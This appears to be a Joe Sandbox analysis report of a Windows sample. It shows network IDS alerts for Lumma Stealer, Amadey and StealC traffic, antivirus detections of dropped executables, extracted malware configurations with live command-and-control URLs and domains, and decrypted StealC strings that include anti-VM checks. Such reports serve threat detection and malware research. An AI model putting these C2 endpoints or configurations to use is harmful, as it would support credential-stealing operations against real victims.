2024-10-31T20:53:08.190671+0100	2028371	3	Unknown Traffic	192.168.2.4	49871	188.114.97.3	443	TCP
2024-10-31T20:53:09.524893+0100	2028371	3	Unknown Traffic	192.168.2.4	49878	188.114.97.3	443	TCP
2024-10-31T20:53:10.766017+0100	2028371	3	Unknown Traffic	192.168.2.4	49887	188.114.97.3	443	TCP
2024-10-31T20:53:12.309008+0100	2028371	3	Unknown Traffic	192.168.2.4	49899	188.114.97.3	443	TCP
2024-10-31T20:53:13.990920+0100	2028371	3	Unknown Traffic	192.168.2.4	49911	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T20:52:15.031549+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49736	188.114.97.3	443	TCP
2024-10-31T20:52:16.260323+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49739	188.114.97.3	443	TCP
2024-10-31T20:52:28.401584+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49753	188.114.97.3	443	TCP
2024-10-31T20:52:29.581329+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49755	188.114.97.3	443	TCP
2024-10-31T20:52:32.570735+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49760	188.114.97.3	443	TCP
2024-10-31T20:52:44.966173+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49783	188.114.97.3	443	TCP
2024-10-31T20:53:04.159815+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49816	188.114.97.3	443	TCP
2024-10-31T20:53:05.625317+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49832	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T20:52:15.031549+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49736	188.114.97.3	443	TCP
2024-10-31T20:52:28.401584+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49753	188.114.97.3	443	TCP
2024-10-31T20:53:04.159815+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49816	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T20:52:16.260323+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49739	188.114.97.3	443	TCP
2024-10-31T20:52:29.581329+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49755	188.114.97.3	443	TCP
2024-10-31T20:53:05.625317+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49832	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T20:52:14.321018+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49736	188.114.97.3	443	TCP
2024-10-31T20:52:15.739250+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49739	188.114.97.3	443	TCP
2024-10-31T20:52:17.893309+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49744	188.114.97.3	443	TCP
2024-10-31T20:52:19.377633+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49746	188.114.97.3	443	TCP
2024-10-31T20:52:20.965785+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49748	188.114.97.3	443	TCP
2024-10-31T20:52:23.331923+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49751	188.114.97.3	443	TCP
2024-10-31T20:52:26.991986+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49752	188.114.97.3	443	TCP
2024-10-31T20:52:27.768418+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49753	188.114.97.3	443	TCP
2024-10-31T20:52:29.113352+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49755	188.114.97.3	443	TCP
2024-10-31T20:52:30.559920+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49757	188.114.97.3	443	TCP
2024-10-31T20:52:31.862788+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49760	188.114.97.3	443	TCP
2024-10-31T20:52:32.418610+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49765	188.114.97.3	443	TCP
2024-10-31T20:52:34.614212+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49769	188.114.97.3	443	TCP
2024-10-31T20:52:39.208456+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49775	188.114.97.3	443	TCP
2024-10-31T20:52:43.050836+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49779	188.114.97.3	443	TCP
2024-10-31T20:52:44.512282+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49783	188.114.97.3	443	TCP
2024-10-31T20:53:02.778272+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49816	188.114.97.3	443	TCP
2024-10-31T20:53:05.124445+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49832	188.114.97.3	443	TCP
2024-10-31T20:53:06.677823+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49857	188.114.97.3	443	TCP
2024-10-31T20:53:08.190671+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49871	188.114.97.3	443	TCP
2024-10-31T20:53:09.524893+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49878	188.114.97.3	443	TCP
2024-10-31T20:53:10.766017+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49887	188.114.97.3	443	TCP
2024-10-31T20:53:12.309008+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49899	188.114.97.3	443	TCP
2024-10-31T20:53:13.990920+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49911	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T20:52:30.393668+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49756	185.215.113.16	80	TCP
2024-10-31T20:52:33.513141+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49766	185.215.113.16	80	TCP
2024-10-31T20:52:45.925073+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49784	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T20:52:15.417181+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49737	185.215.113.43	80	TCP
2024-10-31T20:52:21.240409+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49747	185.215.113.43	80	TCP
2024-10-31T20:52:29.452715+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49754	185.215.113.43	80	TCP
2024-10-31T20:52:37.197769+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49772	185.215.113.43	80	TCP
2024-10-31T20:52:41.558957+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49776	185.215.113.43	80	TCP
2024-10-31T20:54:38.690995+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50178	185.215.113.43	80	TCP
2024-10-31T20:55:50.818047+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50205	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T20:52:13.612959+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	56137	1.1.1.1	53	UDP
2024-10-31T20:52:27.097364+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	62626	1.1.1.1	53	UDP
2024-10-31T20:53:02.095451+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	54051	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T20:52:13.624476+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	49631	1.1.1.1	53	UDP
2024-10-31T20:52:27.110235+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	62456	1.1.1.1	53	UDP
2024-10-31T20:53:02.113403+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	51605	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T20:52:13.652477+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.4	53258	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T20:52:13.595124+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	59011	1.1.1.1	53	UDP
2024-10-31T20:52:27.084250+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	49268	1.1.1.1	53	UDP
2024-10-31T20:53:02.065218+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	56592	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T20:52:13.641146+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	63382	1.1.1.1	53	UDP
2024-10-31T20:52:27.122408+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	50943	1.1.1.1	53	UDP
2024-10-31T20:53:02.135205+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	59725	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T20:52:23.660012+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49751	188.114.97.3	443	TCP
2024-10-31T20:53:07.300022+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49857	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T20:52:22.425253+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49749	185.215.113.206	80	TCP
2024-10-31T20:52:35.658187+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49770	185.215.113.206	80	TCP
2024-10-31T20:52:44.769346+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49781	185.215.113.206	80	TCP
2024-10-31T20:52:53.038467+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49788	185.215.113.206	80	TCP
2024-10-31T20:53:02.141487+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49809	185.215.113.206	80	TCP
2024-10-31T20:53:10.651491+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49884	185.215.113.206	80	TCP
2024-10-31T20:53:26.218208+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49996	185.215.113.206	80	TCP
2024-10-31T20:54:38.572571+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50177	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T20:52:03.213840+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49732	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T20:52:14.490082+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49733	TCP
2024-10-31T20:54:37.758026+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	50175	TCP
2024-10-31T20:55:40.490414+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	50203	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T20:52:06.775722+0100	2803305	3	Unknown Traffic	192.168.2.4	49734	185.215.113.16	80	TCP
2024-10-31T20:52:16.370339+0100	2803305	3	Unknown Traffic	192.168.2.4	49740	185.215.113.16	80	TCP
2024-10-31T20:52:22.199149+0100	2803305	3	Unknown Traffic	192.168.2.4	49750	185.215.113.16	80	TCP
2024-10-31T20:52:30.393668+0100	2803305	3	Unknown Traffic	192.168.2.4	49756	185.215.113.16	80	TCP
2024-10-31T20:55:41.378329+0100	2803305	3	Unknown Traffic	192.168.2.4	50204	185.208.156.229	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T20:52:43.513658+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49779	188.114.97.3	443	TCP
2024-10-31T20:53:12.312671+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49899	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000025.00000003.2259361339.0000000004D50000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: ff3d383111.exe.7336.9.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["navygenerayk.store", "crisiwarny.store", "presticitpo.store", "founpiuer.store", "thumbystriw.store", "necklacedmny.store", "fadehairucw.store", "scriptyprefej.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 21%

Multi AV Scanner detection for submitted file

Source: ykDoK8BtxW.exe

ReversingLabs: Detection: 21%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: 30
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: 11
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: 20
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: 24
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetProcAddress
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: LoadLibraryA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: lstrcatA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: OpenEventA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: CreateEventA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: CloseHandle
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Sleep
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: VirtualFree
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetSystemInfo
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: VirtualAlloc
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: HeapAlloc
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetComputerNameA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: lstrcpyA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetProcessHeap
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetCurrentProcess
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: lstrlenA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: ExitProcess
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetSystemTime
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: advapi32.dll
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: gdi32.dll
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: user32.dll
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: crypt32.dll
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: ntdll.dll
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetUserNameA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: CreateDCA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetDeviceCaps
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: ReleaseDC
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: sscanf
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: VMwareVMware
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: HAL9TH
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: JohnDoe
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: DISPLAY
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: http://185.215.113.206
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: bksvnsj
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: /746f34465cf17784/
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: tale
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetFileAttributesA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GlobalLock
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: HeapFree
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetFileSize
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GlobalSize
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: IsWow64Process
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Process32Next
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetLocalTime
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: FreeLibrary
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetVolumeInformationA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: Process32First
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetLocaleInfoA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetModuleFileNameA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: DeleteFileA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: FindNextFileA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: LocalFree
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: FindClose
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: LocalAlloc
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetFileSizeEx
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: ReadFile
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: SetFilePointer
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: WriteFile
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: CreateFileA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: FindFirstFileA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: CopyFileA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: VirtualProtect
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetLastError
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: lstrcpynA
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: MultiByteToWideChar
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GlobalFree
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: WideCharToMultiByte
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GlobalAlloc
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: OpenProcess
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: TerminateProcess
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetCurrentProcessId
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: gdiplus.dll
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: ole32.dll
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: bcrypt.dll
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: wininet.dll
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: shlwapi.dll
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: shell32.dll
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: psapi.dll
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: rstrtmgr.dll
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: SelectObject
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: BitBlt
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: DeleteObject
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: CreateCompatibleDC
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GdiplusStartup
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GdiplusShutdown
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GdipDisposeImage
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GdipFree
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: CoUninitialize
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: CoInitialize
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: CoCreateInstance
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: BCryptDecrypt
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: BCryptSetProperty
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: BCryptDestroyKey
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetWindowRect
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetDesktopWindow
Source: 29.2.9c961c26ae.exe.ef0000.0.unpack	String decryptor: GetDC
